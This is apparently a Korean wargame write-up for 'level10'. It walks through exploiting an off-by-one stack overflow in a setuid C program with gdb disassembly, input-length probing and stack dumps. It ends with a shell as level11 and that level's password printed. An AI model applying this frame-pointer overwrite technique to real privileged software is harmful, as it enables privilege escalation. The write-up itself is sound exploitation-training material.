level10
꾸역꾸역 풀고 있긴 합니다만 언제 다 풀런지 모르겠군요T_T
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Contributed by Torch
int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }
void f(char *s)
{
int *i;
char buf[256];
i = (int *)getebp();
limit = *i - (int)buf + 1;
for (c = 0; c < limit && s[c] != '\0'; c++)
buf[c] = s[c];
}
int main(int argc, char **argv)
{
int cookie = 1000;
if (argc != 2) exit(1);
f(argv[1]);
if ( cookie == 0xdefaced ) {
setresuid(geteuid(), geteuid(), geteuid());
execlp("/bin/sh", "/bin/sh", "-i", NULL);
}
return 0;
}
level10 의 소스입니다. functin f 의 취약점을 이용해서 입력값 조작을 통해 cookie 값을 "0xdefaced"로 바꾸는게 목적인듯 합니다.
i = (int *)getebp();
limit = *i - (int)buf + 1;
for (c = 0; c < limit && s[c] != '\0'; c++)
buf[c] = s[c];
냄새가 나는 부분입니다. 실제로 값을 찍어보면 limit에 0x105 (261)이 들어가서 그만큼 argv의 값을 buf 에 집어넣게 됩니다.( 처음엔 이값에 - 가 찍혀서 .. 자세히 보지도 않고 몇일간 삽질을..)
일단 보고 드는 생각은 그냥 stack에서 cookie 값까지 덮어 씌워서 defaced 로 바꿔주면 되겠구나 했습니다. 그러나 limit 의 크기가 작아서 거기까지는 덮어씌우지를 못했습니다. 어떻게 할까 고민하다가 전역변수로 눈을 돌려봤습니다. limit 와 i 가 전역변수니깐 .bss 영역에 있을 저값을 어떻게 조작할수 없을까 해서 몇일동안 허송 세월을 했습니다. 삽질할때는 참 끈기 있게도 잘 찾아보는거 같습니다 -_-;
몇일 헤메다가 비누님한테 한번 여쭈어 봤더니 30분만에 푸시더군요. 설명은 정확히 해주지 않으셨지만 포인트는 확실히 알았기에 차분히 한줄씩 브레이크포인트 걸어서 살펴봤습니다. 입력값을 점점 늘리면서(argv의 크기 변경) main 함수의 ebp의 변화와 f 함수를 호출하고 난뒤의 레지스터값을 체크해봤습니다.
(gdb) disas f
Dump of assembler code for function f:
0x080483fb <f+0>: push %ebp
0x080483fc <f+1>: mov %esp,%ebp
0x080483fe <f+3>: sub $0x110,%esp
0x08048404 <f+9>: call 0x80483f4 <getebp>
0x08048409 <f+14>: mov %eax,0xfffffffc(%ebp) // eax에는 ebp가 들어있습니다. ebp-4 로 이동.
0x0804840c <f+17>: mov 0xfffffffc(%ebp),%eax // i 를 eax로
0x0804840f <f+20>: mov (%eax),%edx // eax의 주소를 edx로
0x08048411 <f+22>: lea 0xfffffefc(%ebp),%eax // buf 를 eax로 buf의 위치는 ebp-260 부터 입니다.
0x08048417 <f+28>: mov %edx,%ecx // edx를 ecx로
0x08048419 <f+30>: sub %eax,%ecx // ecx(1의 주소값) 에서 edx buff의 값을 뺍니다.
0x0804841b <f+32>: mov %ecx,%eax
0x0804841d <f+34>: inc %eax
0x0804841e <f+35>: mov %eax,0x804974c // 0x804974c 에 limit의 값이 있습니다.
0x08048423 <f+40>: movl $0x0,0x8049750
0x0804842d <f+50>: jmp 0x8048452 <f+87>
0x0804842f <f+52>: mov 0x8049750,%edx
0x08048435 <f+58>: mov 0x8049750,%eax
0x0804843a <f+63>: add 0x8(%ebp),%eax
0x0804843d <f+66>: movzbl (%eax),%eax
0x08048440 <f+69>: mov %al,0xfffffefc(%ebp,%edx,1)
0x08048447 <f+76>: mov 0x8049750,%eax
0x0804844c <f+81>: inc %eax
0x0804844d <f+82>: mov %eax,0x8049750
0x08048452 <f+87>: mov 0x8049750,%edx
0x08048458 <f+93>: mov 0x804974c,%eax
0x0804845d <f+98>: cmp %eax,%edx c가 limit 보다 크면 빠져나간다.
0x0804845f <f+100>: jge 0x8048470 <f+117>
0x08048461 <f+102>: mov 0x8049750,%eax
0x08048466 <f+107>: add 0x8(%ebp),%eax
0x08048469 <f+110>: movzbl (%eax),%eax
0x0804846c <f+113>: test %al,%al
0x0804846e <f+115>: jne 0x804842f <f+52>
0x08048470 <f+117>: leave
0x08048471 <f+118>: ret
End of assembler dump.
f 함수를 호출하기전과 호출하고 난뒤에 각각 브레이크 포인트를 걸었습니다.
(gdb) b *main+63
Breakpoint 1 at 0x80484b1
(gdb) b *main+68
Breakpoint 2 at 0x80484b6
(gdb) r `perl -e 'print "A"x256'` 버퍼 사이즈인 256개부터 시작했습니다.
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x257'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x258'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x259'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x260'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x261'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41 main 함수 ebp의 값이 바뀌었습니다.
(gdb) r `perl -e 'print "A"x262'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x263'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x264'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x265'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x266'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x267'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28 argv가 증가하면서 main 함수 ebp 값이 바뀌었습니다.
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41 f 함수 호출뒤에 ebp 의값은 0xbfffdc41 로 고정됩니다.
(gdb) r `perl -e 'print "A"x268'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x269'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x270'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x271'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x272'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x273'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x274'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x275'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x276'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x277'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x278'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x279'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x280'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x281'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x282'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x283'`
esp 0xbfffdbe0 0xbfffdbe0
ebp 0xbfffdc18 0xbfffdc18
esp 0xbfffdbe0 0xbfffdbe0
ebp 0xbfffdc41 0xbfffdc41
........
(gdb) r `perl -e 'print "A"x300'`
esp 0xbfffdbd0 0xbfffdbd0
ebp 0xbfffdc08 0xbfffdc08
esp 0xbfffdbd0 0xbfffdbd0
ebp 0xbfffdc41 0xbfffdc41
이렇게 한참동안 생각없이 입력하다보니 f 함수 호출뒤의 ebp 값이 전부 같길래 한번 스택에서 값을 확인해봤더니..
0xbfffdbb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdbc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdbd8: 0xbfffdc41 0x080484b6 0xbfffdd9f 0x0023c2e8
0xbfffdbe8: 0xbfffdbf8 0x08048380 0x0023dff4 0x08049718
0xbfffdbf8: 0xbfffdc30 0x080482dd 0x00000002 0xbfffdca4
0xbfffdc08: 0x000003e8 0xbfffdc30 0x0023dff4 0x00000000
이게 뭡니까.. for 문에서 261만큼 값이 대입될때 ebp 까지 덮어버려서 마지막 1바이트값만 바뀌는 것이었습니다.
결국 ret 구문에 의해 main 함수로 돌아갈때 조작된 ebp 의 값이 main 함수의 ebp 값이 되버리는 간단한 현상이었습니다 -_-;;;;;;
main 함수에서는 0x08048488 <main+22>: movl $0x3e8,0xfffffff0(%ebp) ebp-16에 쿠키값을 집어 넣습니다 .따라서
위에서 나온것처럼 0xbfffdbd8 을 ebp로 해서 -16 인 0xbfffdbc8에 \xed\xac\xef\x0d 를 넣어주면 되겠습니다.
실패했습니다. 우리가 조작할수 있는 값은 ebp의 마지막 1바이트 뿐이기 때문에 여기서 약간의 조작이 필요합니다. 위에서 우리는 argv를 크게 주면 ebp의 값이 점점 감소 한다는 것을 알았습니다. 이를 이용해서 argv의 값을 늘려서 조작된 ebp의 값 -16이 cookie를 가르키도록 해봤습니다.
최종 공격 코드를 입력해봤습니다. (경로를 절대경로로 입력하면 gdb와 비슷하다는 말씀을 비누님이 해주셨습니다!)
sh-3.1$ id
uid=1011(level11) gid=1010(level10) groups=1010(level10)
sh-3.1$ cat /home/level11/.pass
bu8itdus
쉬운문제였는데 뻘짓만 정말 한가득을 했습니다.. 졸려서 마지막은 날림으로..
이런 에러를 off-by-one 이라고 부르는군요. 비누님 감사! (http://en.wikipedia.org/wiki/Off-by-one_error)